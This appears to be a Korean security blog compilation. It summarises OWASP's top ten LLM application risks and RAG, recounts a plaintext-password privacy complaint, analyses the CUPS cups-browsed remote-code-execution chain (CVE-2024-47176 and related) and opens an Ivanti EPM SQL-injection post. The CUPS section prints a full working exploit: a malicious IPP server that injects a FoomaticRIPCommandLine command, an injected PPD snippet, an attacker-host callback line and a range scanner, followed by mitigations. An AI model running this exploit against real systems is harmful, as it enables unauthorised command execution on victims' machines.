요약 - OWASP는 LLM 애플리케이션의 가장 치명적인 취약점 10가지 발표
- LLM을 보완하며 학습 데이터의 무결성을 확보하는 검색 증강 생성(Retrieval-Augmented Generation, RAG)
기타 - ChatGPT 등장 후 LLM은 AI 분야의 핵심 기술로 주목 받음
> LLM 관련 서비스들이 등장하고 있지만, 여러 취약점이 나오며 도입 및 사용을 꺼리는 현상이 나타남

- OWASP, LLM 애플리케이션의 가장 치명적인 취약점 10가지 발표
① 프롬프트 주입(Prompt Injection)
> 악의적인 프롬프트(질문)를 입력해 LLM이 본래 정책이나 가이드라인에 구애받지 않고 공격자 의도대로 작동하도록 하는 취약점
> LLM 접근 권한 제어 강화와 외부 콘텐츠 분리 등을 통해 완화할 수 있음

② 불완전한 출력 처리(Insecure Output Handling)
> LLM에서 생성된 출력이 검증 없이 다른 시스템으로 전달될 경우, 원격 코드 실행 등의 위협이 발생할 수 있음
> 제로 트러스트 접근 방식 사용과 입력 유효성 검사 등을 통해 예방할 수 있음

③ 학습 데이터 중독(Training Data Poisoning)
> 사전 학습 데이터를 조작해 모델의 보안성과 효율성을 손상시키는 취약점
> 사용자가 오염된 정보에 노출되거나 시스템 성능 저하를 초래할 수 있음
> 안정성이 검증된 학습 데이터를 사용해 예방할 수 있음

④ 모델 서비스 거부(Model Denial of Service)
> 공격자가 대량의 리소스를 소모시켜 다른 사용자의 서비스 품질을 저하시키고 높은 리소스 비용을 발생시킴
> 사용자 입력 제한 규칙 준수와 리소스 사용량 제한 등을 통해 예방할 수 있음

⑤ 공급망 취약점(Supply Chain Vulnerabilities)
> 체계적인 방식이나 도구 없이는 LLM 공급망을 관리하기 어려워 소프트웨어 공급망 취약점과 유사한 위협이 발생할 수 있음
> 신뢰할 수 있는 공급 업체 사용과 패치 정책 구현 등을 고려해야 함

⑥ 민감 정보 노출(Sensitive Information Disclosure)
> LLM의 답변을 통해 민감한 정보가 노출되고, 이로 인해 개인정보 침해나 지적재산의 무단 액세스가 발생할 수 있음
> 적절한 데이터 정제 기술로 민감 데이터가 학습 데이터에 포함되지 않도록 해야 함

⑦ 불완전 플러그인 설계(Insecure Plugin Design)
> LLM 플러그인은 사용자가 다른 앱 사용 중 자동으로 호출되는 확장 기능
> 모델이 다른 플랫폼에서 제공될 때 앱 실행을 제어할 수 없어 원격코드 실행 등 위협이 발생할 수 있음
> 이를 예방하기 위해 민감한 작업 실행 시 수동 승인을 요구하고 인증 ID를 적용해야 함

⑧ 과도한 에이전시(Excessive Agency)
> 기능 호출 권한을 가진 에이전트가 LLM의 출력에 대응해 해로운 작업을 수행할 수 있음
> 이는 세분화된 기능을 갖춘 플러그인을 사용하고 최소한의 권한으로 제한하는 등의 방법으로 예방할 수 있음

⑨ 과도한 의존(Overreliance)
> LLM이 환각 현상이 발생할 수 있움
> 파인튜닝, 임베딩, RAG 기법 등으로 품질을 개선하고 검증을 받으며, 사용자가 LLM의 한계를 인식하게 해 예방 가능

⑩ 모델 도난(Model Theft)
> 공격자가 해킹을 통해 LLM 모델에 무단으로 접근하거나 모델이 유출될 수 있음
> 강력한 보안 조치를 통해 예방할 수 있음

※ 기타
> 모델의 정보가 최신이 아니거나, 편향된 데이터를 학습해 차별적인 답

⑪ 결론
> LLM의 안정성을 강화하기 위해서는 학습 데이터의 무결성 확보, 권한·접근 제어 강화, 모델 관리 및 모니터링이 필요
> 사용자가 LLM의 한계를 인식하는 것도 중요

- 기존의 LLM
> 사용자 입력으로 학습된 데이터에 기반해 답변 생성
> 사용자가 LLM에 학습되지 않은 질문을 하면, LLM의 데이터 중 가장 확률이 높은 정보를 조합해 답변 생성
> 이 과정에서 환각 현상 (허위 또는 오래된 정보를 사실인 듯 제공) 발생 가능

- 검색 증강 생성(Retrieval-Augmented Generation, RAG)
> 환각 현상을 보완하며 학습 데이터의 무결성을 확보
> LLM이 답변을 생성하기 전 외부 학습 데이터 소스를 참조해 정확도를 높이는 방식
> 방대한 양의 데이터를 학습한 LLM이 특정 도메인이나 조직의 내부 데이터를 활용해 보다 정밀한 답변을 생성할 수 있음

> RAG 작동 방식: 외부 데이터 생성-관련 정보 검색-LLM 프롬프트 확장-외부 데이터 업데이트
① 외부 데이터 생성
  > API, 데이터베이스(DB), 문서 등 다양한 소스에서 원하는 데이터를 가져옴
  > 데이터는 파일, DB 레코드, 텍스트 등 여러 형식
  > LLM이 이해하도록 복잡한 데이터를 임베딩 언어모델을 사용해 벡터 형태로 변환
  > 변환된 벡터 데이터를 벡터 DB에 저장해 지식 라이브러리를 생성

② 관련 정보 검색
  > 사용자가 프롬프트를 입력하면, 질의 인코더(Query Encoder)가 사용자 프롬프트를 벡터 형태로 인코딩한 후 관련된 정보를 벡터 DB에서 검색해 가져옴
  > 관련 정보 검색은 키워드 검색, 시맨틱 검색, 두 방법을 결합한 하이브리드 검색 방법이 있음

③ LLM 프롬프트 확장
  > 검색된 데이터를 컨텍스트(Context)에 추가해 사용자 프롬프트를 보강
  > 확장된 프롬프트를 LLM에 전달하면, LLM이 검색 데이터를 활용해 답변 생성

④ 외부 데이터 업데이트
  > 문서를 비동기적으로 업데이트하는 것을 의미

- RAG 이외에 LLM의 환각 현상을 줄이는 또 다른 방법은 ‘파인튜닝(Fine-Tuning)
> LLM에 도메인 특화 데이터를 학습시켜 맞춤형 모델로 업데이트하는 방법
내용 -

 

보안뉴스

 

LLM 애플리케이션의 가장 치명적인 취약점 10가지와 최근 주목받는 RAG

미국 오픈AI(Open AI)가 대형 언어 모델(Large Language Model, LLM)을 활용한 인공지능(AI) 챗봇 서비스인 챗GPT(ChatGPT)를 공개한 이후 LLM은 AI 분야의 핵심 기술로 주목받고 있다. 구글의 PaLM, 메타의 LLaMA, 마

www.boannews.com

1. 계정 정보 평문 노출 관련 1차 문의

- A 도서출판사에 도서 관련 문의를 위해 홈페이지 접속

> 게시판 사용을 위해서는 로그인이 필요

> 계정 정보가 기억나지 않아 "아이디/비밀번호 찾기" 진행

> 메일로 수신한 계정 정보 확인 결과 PW가 평문으로 노출되어 있었고, KISA에 1차 문의 진행

[사진 1] 평문으로 노출된 PW

답변 요약
- 개인정보 보호법 제29조(안전조치의무)
> 개인정보처리자는 개인정보가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손되지 아니하도록 내부 관리계획 수립, 접속기록 보관 등 대통령령으로 정하는 바에 따라 안전성 확보에 필요한 기술적ㆍ관리적 및 물리적 조치를 하여야 한다.

- 개인정보 보호법제29조를 근거하여 시행령 제16조제2항, 제30조 및 제30조의2에서 다음의 기준을 정함
> 개인정보처리자가 개인정보를 처리함에 있어서 개인정보가 분실·도난·유출·위조·변조 또는 훼손 되지 아니하도록 안전성 확보에 필요한 기술적·관리적 및 물리적 안전조치에 관한 최소한의 기준을 정하고 있음

- 개인정보의 안전성 확보조치 기준에서의 비밀번호
> 정보주체 및 개인정보취급자 등이 개인정보처리시스템 또는 정보통신망을 관리하는 시스템 등에 접속할 때 식별자와 함께 입력하여 정당한 접속 권한을 가진 자라는 것을 식별할 수 있도록 시스템에 전달해야 하는 고유의 문자열로서 타인에게 공개되지 않는 정보
> 제7조 제1항:  개인정보처리자는 비밀번호, 생체인식정보 등 인증정보를 저장 또는 정보통신망을 통하여 송·수신하는 경우에 이를 안전한 암호 알고리즘으로 암호화
> 제7조 제4항: 개인정보처리자는 개인정보를 정보통신망을 통하여 인터넷망 구간으로 송·수신하는 경우에는 이를 안전한 암호 알고리즘으로 암호화

- 정보통신망을 통한 개인정보 암호화 전송을 위해  프로토콜이 탑재된 기술을 활용하거나, 개인정보를 암호화 저장한 후 이를 전송하는 방법 등을 사용할 수 있으며 만약 암호화 응용프로그램 대신하여 보안서버를 구축하고 있다면 이를 본 법률에 저촉된다고 보기는 어려울 것
> 단, 개인정보의 기술적 관리적 보호조치 기준 제6조제3항에 따른 보안서버를 구축하고 있지 않은 경우 문제의 소지가 있을 수 있음

- 문의 시 제출한 증적자료를 바탕으로 조사 착수 여부에 대해 검토
> 단, 신고서가 누락된 경우 상담으로 처리되므로, 검토를 원하는 경우 접수방법을 참고하여 접수 권고

 

2. 계정 정보 평문 노출 관련 1차 신고

- 위 내용과 관련하여 KISA에 개인정보 침해 신고 접수

> 추가로, 도서 문의 후 계정 탈퇴를 진행하였으나 즉각 삭제가 아닌 일정 시간 후 삭제되어 관련 내용에 관한 문의 진행

> 삭제 후 일정 시간 동안 계정 찾기를 통해 ID/PW를 찾을 수 있었으며, 마찬기지로 PW가 평문으로 노출되어 수신

> 개인정보 삭제 요구와 관련된 답변을 수신 하였으며, 비밀번호 평문 노출 관련 신고를 권고

※ 개인정보 침해 또는 노출 신고 시 해당 내용만을 양식에 맞추어 신고할 필요가 있음을 인지

답변 요약
- 개인정보 보호법 제36조(개인정보의 정정·삭제)
> 제1항: 자신의 개인정보의 열람을 요구한 정보주체는 그 개인정보의 정정 또는 삭제를 요구할 수 있음
> 제2항: 제1항에 따른 정보주체의 요구를 받은 개인정보처리자는 다른 법령에 특별한 규정이 있는 경우를 제외하고는 정보주체의 요구에 필요한 조치를 하여야 함
> 제6항: 제1항·제2항에 따른 정정 또는 삭제 요구 통지 방법 및 절차 등에 필요한 사항을 시행령 제43조(개인정보의 정정·삭제 등)로 정하고 있음

- 개인정보 보호법 제36조 제6항을 근거하여 시행령 제43조(개인정보의 정정·삭제 등) 제3항
> 개인정보의 정정·삭제 요구를 받은 개인정보처리자는 요구를 받는 날로부터 근무일 기준 10일이내에 조치 하도록 규정
> 따라서, 삭제 요구 후 기간 내 조치한 경우 위반의 소지가 있다고 보기는 어려움

- 개인정보의 삭제로 인하여 관련 자료의 첨부가 어려움
> 침해받은 자에 해당함을 입증할 수 없으나 개인정보 보호법 위반의 소지가 있고, 제3자가 개인정보의 권리 또는 이익을 현저히 침해받을 우려가 있음
> 따라서, 신고를 원하는 경우 공익신고자 보호법에 따른 공익신고에 해당하므로 개인정보보호위원회로 신고 권고

 

3. 계정 정보 평문 노출 관련 2차 신고

- 개인정보보호위원회로 신고 및 KISA로 민원 이송 답변

답변 요약
- 안전조치의무 위반 등 개인정보 침해신고 관련 내용
> 개인정보보호법 제62조(침해 사실의 신고 등) 및 시행령 제59조(침해 사실의 신고 등)에 따라 개인정보보호법 침해사실을 접수 및 조사할 수 있도록 한국인터넷진흥원으로 이송

 

4. 계정 정보 평문 노출 관련 3차 신고

- KISA로부터 해당 민원은 이전 개인정보 노출 신고건과 동일한 건으로 침해신고센터에서 검토 진행 안내 메일 수신

> KISA 개인정보침해신고센터로부터 안전조치 의무 시행(비밀번호 암호화) 관련 신고 접수 안내 메일 수신 후 대기 중

1. CUPS(Common Unix Printing System) [1]

- 유닉스 계열 표준 인쇄 시스템

- CUPS는 0.0.0.0:631(UDP)에서 수신 대기중

>  IP가 0.0.0.0인 것은 모든 네트워크 인터페이스에서 수신을 대기라고 응답한다는 것을 의미

[사진 1] netstat -anu

- cups-browsed는 CUPS 시스템의 일부로, 새로운 프린터를 발견하고 자동으로 시스템에 추가해줌

> root로 실행

> /etc/cups/cups-browsed.conf를 설정하여 접근 가능 여부를 설정할 수 있음

[사진 2] cups-browsed

2.취약점 [2]

- CUPS의 cups-browsed 데몬에서 발생하는 취약점

> 공격자가 취약점을 연계하여 악용할 경우 네트워크를 통해 악성 프린터를 추가하고, 사용자가 인쇄 작업을 시작할 때 임의의 코드를 실행할 수 있음

 

- Akamai의 연구에 따르면 DDoS 공격에 활용될 경우 600배 증폭될 수 있음을 확인 [3]

> 공격자가 CUPS 서버를 속여 대상 장치를 추가할 프린터로 처리하도록 할 때 발생
> 취약한 CUPS 서버로 전송된 각 패킷은 대상 장치를 겨냥한 더 큰 IPP/HTTP 요청을 생성
> 공격 대상과 CUPS 서버 모두에 대역폭과 CPU 리소스 소모를 유발

[사진 3] Shodan title:"CUPS" 검색 결과

서비스명 영향받는 버전
cups-browsed 2.0.1 이하
libcupsfilters 2.1b1 이하
libppd 2.1b1 이하
cups-filters 2.0.1 이하

 

2.1 주요내용

2.1.1 CVE-2024-47176

- CUPS의 cups-browsed는 631포트로 모든 네트워크 인터페이스의 모든 패킷을 신뢰([사진 1] 0.0.0.0:631)

> 공격자는 자신이 제어하는 IPP 서버(이하 악성 IPP 서버)를 시작한 다음 대상 시스템으로 UDP 패킷 전송

> 피해 시스템이 공격자가 제어하는 IPP 서버에 다시 연결되고 User-Agent 헤더에 CUPS 및 커널 버전 정보가 공개됨

0 3 hxxp://<ATACKER-IP>:<PORT>/printers/whatever

[사진 4] CVE-2024-47176 [4]

2.1.2 CVE-2024-47076

- 피해 시스템은 악성 IPP 서버에 프린터 속성을 요청하며 악성 IPP 서버는 기본 프린터 속성을 전송

> libcupsfilters.cfGetPrinterAttributes()반환된 IPP 속성을 검증하거나 정리하지 않고 반환된 IPP 속성을 기반으로 임시 PPD 파일을 생성

※ libcupsfilters: 프린터 애플리케이션에서 필요한 데이터 형식 변환 작업에 사용되는 라이브러리 함수
※ PostScript Printer Description (PPD): PostScript 프린터의 설정 정보뿐만 아니라 일련의 PostScript 명령 코드도 포함

[사진 5] CVE-2024-47076 [5]

2.1.3 CVE-2024-47175

- 공격자는 FoomaticRIPCommandLine을 통해 PPD 파일에 악성 코드 주입

> libppd.ppdCreatePPDFromIPP2()는 임시 PPD 파일에 IPP 속성을 쓸 때 IPP 속성을 검증하거나 정리하지 않아 공격자가 제어하는 ​​데이터를 PPD 파일에 주입할 수 있음

*FoomaticRIPCommandLine : "echo 1 > /tmp /PWNED" // 명령 줄 삽입
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip // CUPS가 /usr /lib/cups/filter/foomatic -rip(FoomaticRIPCommandLine 사용)을 실행하도록 지시

[사진 6] CVE-2024-47175 [6]

2.1.4 CVE-2024-47177

- cups-filters.foomatic-rip은 FoomaticRIPCommandLine 지시문을 통해 임의의 명령 실행을 허용

> foomatic-rip 필터는 FoomaticRIPCommandLine 지시문을 통해 임의의 명령을 실행할 수 있으며, 관련 취약점(CVE-2011-2697, CVE-2011-2964)이 존재하지만 2011년 이후 패치되지 않음

※ CUPS 개발자 문의 결과 수정이 매우 어렵고, Foomatic을 통해서만 지원되는 오래된 프린터 모델이 있기 때문으로 답변 받음

※ cups-filters: CUPS 2.x가 Mac OS가 아닌 시스템에서 사용할 수 있는 백엔드, 필터 및 기타 소프트웨어를 제공

[사진 7] CVE-2024-47177 [7]
[사진 8] 취약점 요약 [8]

2.2 PoC [9]

- 공격자가 제어하는 IPP 서버 정보(def send_browsed_packet) 및 FoomaticRIPCommandLine 지시문을 통한 원격 명령 실행(def printer_list_attributes)

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

 

[영상 1] 시연 영상

3. 대응방안

- 아직까지 취약점이 해결된 버전이 배포되지 않음 [10]

① CUPS 실행 여부 및 패키지 버전 확인

 ⒜ $ sudo systemctl status cups-browsed

   > 명령 출력 결과가 “Active: inactive (dead)” 포함된 경우 취약점에 영향받지 않음

   > 명령 출력 결과가 “Active: active (running)”이고, 구성 파일 /etc/cups/cups-browsed.conf의 "BrowseRemoteProtocols" 지시문에 "cups" 값이 포함되어 있는 경우
 ⒝ dpkg -l | grep -E 'cups-browsed|cups-filters|libcupsfilters|libppd'

   > CUPS 관련 패키지들의 설치 여부와 버전 정보를 확인하는 명령

 

② cups-browsed 서비스 비활성화 (사용하지 않을 경우)

> $ sudo systemctl stop cups-browsed; sudo systemctl disable cups-browsed

> stop: 단순 중지 / disable: 시스템 부팅 시 자동으로 시작되지 않도록 설정

 

③ 방화벽 설정 강화

> $ sudo ufw deny proto udp from any to any port 631

 

④ 취약 여부를 확인할 수 있는 스캐너 활용 [11]

 ⒜ 동작 과정

   > 기본 HTTP 서버를 설정(RCE 취약점을 악용하지 않으므로 프린터로 식별할 필요가 없음)
   > cups-browsed을 통해 HTTP 서버에 연결하도록 지시하는 UDP 패킷 생성
   > 포트 631의 주어진 범위에 있는 모든 IP로 UDP 패킷 전송
   > 취약한 cups-browsed 인스턴스로 인해 트리거되는 모든 POST 요청을 /printers/ 엔드포인트에 기록합니다. 

 ⒝ 결과

   > 스캔 결과는 총 2개의 Log에 기록

   > cups.log_응답한 장치의 IP&CUOS 버전 정보 기록

   > requests.log_심층 분석에 사용할 수 있는 수신한 원시 HTTP 요청이 기록

#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer


# a simple function to enable easy changing of the timestamp format
def timestamp():
    return time.strftime("%Y-%m-%d %H:%M:%S")


# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
    # replace default access log behavior (logging to stderr) with logging to access.log
    # log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
    def log_message(self, _format, *_args):
        log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
                   f'{self.headers["User-Agent"]}\n'
        self.server.access_log.write(log_line)
        self.server.access_log.flush()

    # log raw requests from cups-browsed instances including POST data
    def log_raw_request(self):
        # rebuild the raw HTTP request and log it to requests.log for debugging purposes
        raw_request = f'[{timestamp()}]\n'
        raw_request += f'{self.requestline}\r\n'
        raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())

        content_length = int(self.headers.get('Content-Length', 0))
        if content_length > 0:
            raw_body = self.rfile.read(content_length)
            self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
        else:
            self.server.request_log.write(raw_request.encode('utf-8'))

        self.server.request_log.flush()

    # response to all requests with a static response explaining that this server is performing a vulnerability scan
    # this is not required, but helps anyone inspecting network traffic understand the purpose of this server
    def send_static_response(self):
        self.send_response(200, 'OK')
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')

    # handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
    def do_GET(self):
        self.send_static_response()

    # handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
    def do_POST(self):
        # we'll just grab all requests starting with /printers/ to make sure we don't miss anything
        # some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
        if self.path.startswith('/printers/'):
            ip, port = self.client_address

            # log the cups-browsed request to cups.log and requests.logs and output to console
            print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
            self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
            self.server.cups_log.flush()
            self.log_raw_request()

        self.send_static_response()


# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
    def __init__(self, server_address, handler_class, log_dir='logs'):
        super().__init__(server_address, handler_class)
        # create 'logs' directory if it doesn't already exist
        log_dir = 'logs'
        if not os.path.exists(log_dir):
            os.makedirs(log_dir)

        # create three separate log files for easy debugging and analysis
        # access.log    - any web requests
        # cups.log      - ip, port, useragent, and request URL for any request sent to CUPS endpoint
        # requests.log  - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
        self.access_log = open(f'{log_dir}/access.log', 'a')
        self.request_log = open(f'{log_dir}/requests.log', 'ab')
        self.cups_log = open(f'{log_dir}/cups.log', 'a')

    def shutdown(self):
        # close all log files on shutdown before shutting down
        self.access_log.close()
        self.request_log.close()
        self.cups_log.close()
        super().shutdown()


# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
    host, port = callback_server.split(':')
    port = int(port)

    if port < 1 or port > 65535:
        raise RuntimeError(f'invalid callback server port: {port}')

    server_address = (host, port)
    _httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
    print(f'[{timestamp()}] callback server running on port {host}:{port}...')

    # start the HTTP server in a separate thread to avoid blocking the main thread
    server_thread = threading.Thread(target=_httpd.serve_forever)
    server_thread.daemon = True
    server_thread.start()

    return _httpd


def scan_range(ip_range, callback_server, scan_unsafe=False):
    # the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
    # we can set the printer to any http server as long as the path starts with /printers/ or /classes/
    # we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')

    # expand the CIDR notation into a list of IP addresses
    # make scanning only host addresses the default behavior (exclude the network and broadcast address)
    # the user can override this with flag --scan-unsafe
    if scan_unsafe:
        ip_range = list(ipaddress.ip_network(ip_range))
    else:
        ip_range = list(ipaddress.ip_network(ip_range).hosts())

    if len(ip_range) < 1:
        raise RuntimeError("error: invalid ip range")

    print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')

    # send the CUPS command to each IP on port 631 to trigger a callback to our callback server
    for ip in ip_range:
        ip = str(ip)
        udp_socket.sendto(udp_callback, (ip, 631))


# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
    print(f'[{timestamp()}] shutting down server and exiting...')
    _httpd.shutdown()
    sys.exit(0)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        prog='python3 scanner.py',
        description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
        usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
    )

    parser.add_argument('--callback', required=True, dest='callback_server',
                        help='the host:port to host the callback server on (must be reachable from target network) '
                             'example: --callback 192.168.0.1:1337')

    parser.add_argument('--targets', required=True, dest='target_ranges',
                        help='a comma separated list of ranges '
                             'example: --targets 192.168.0.0/24,10.0.0.0/8')

    parser.add_argument('--scan-unsafe', required=False, default=False, action='store_true', dest='scan_unsafe',
                        help='Typically the first and last address in a CIDR are reserved for the network address and '
                             'broadcast address respectively. By default we do not scan these as they should not be '
                             'assigned. However, you can override this behavior by setting --scan-unsafe')

    args = parser.parse_args()

    try:
        # start the HTTP server to captures cups-browsed callbacks
        print(f'[{timestamp()}] starting callback server on {args.callback_server}')
        httpd = start_server(args.callback_server)

        # register sigint handler to capture CTRL + C
        signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))

        # split the ranges up by comma and initiate a scan for each range
        targets = args.target_ranges.split(',')
        print(f'[{timestamp()}] starting scan')
        for target in targets:
            scan_range(target, args.callback_server, args.scan_unsafe)

        print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')

        # loop until user uses CTRL + C to stop server
        while True:
            time.sleep(1)

    except RuntimeError as e:
        print(e)

 

4. 참고

[1] https://github.com/openprinting/cups
[2] https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
[3] https://www.akamai.com/blog/security-research/october-cups-ddos-threat
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-47176
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-47076
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-47175
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-47177
[8] https://ko.securecodewarrior.com/article/deep-dive-navigating-the-critical-cups-vulnerability-in-gnu-linux-systems
[9] https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
[10] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71558&menuNo=205020
[11] https://github.com/MalwareTech/CVE-2024-47176-Scanner
[12] https://hackread.com/old-vulnerability-9-9-impacts-all-gnu-linux-systems/
[13] https://hackread.com/old-linux-vulnerability-exploited-ddos-attacks-cups/
[14] https://www.bleepingcomputer.com/news/software/new-scanner-finds-linux-unix-servers-exposed-to-cups-rce-attacks/
[15] https://www.bleepingcomputer.com/news/security/recently-patched-cups-flaw-can-be-used-to-amplify-ddos-attacks/
[16] https://www.boannews.com/media/view.asp?idx=133188

1. Ivanti Endpoint Manager(EPM) [1]

- 조직 내의 장치를 중앙에서 관리할 수 있는 엔터프라이즈 엔드포인트 관리 솔루션

 

2. 취약점

[사진 1] CVE-2024-29824 [2]

- 취약한 Ivanti EPM에서 발생하는 SQL Injection (CVSS: 9.6)

> 현재 해당 취약점이 활발히 익스플로잇되는 중으로, CISA는 신속히 패치를 권고

영향받는 버전
- Ivanti EPM 2022 SU5 이하 버전

 

2.1 주요 내용

- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]

> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약

> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입

> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행

[사진 2] RecordGoodApp() SQL 문

- 취약점 흐름은 다음과 같음

[사진 3] 호출 흐름

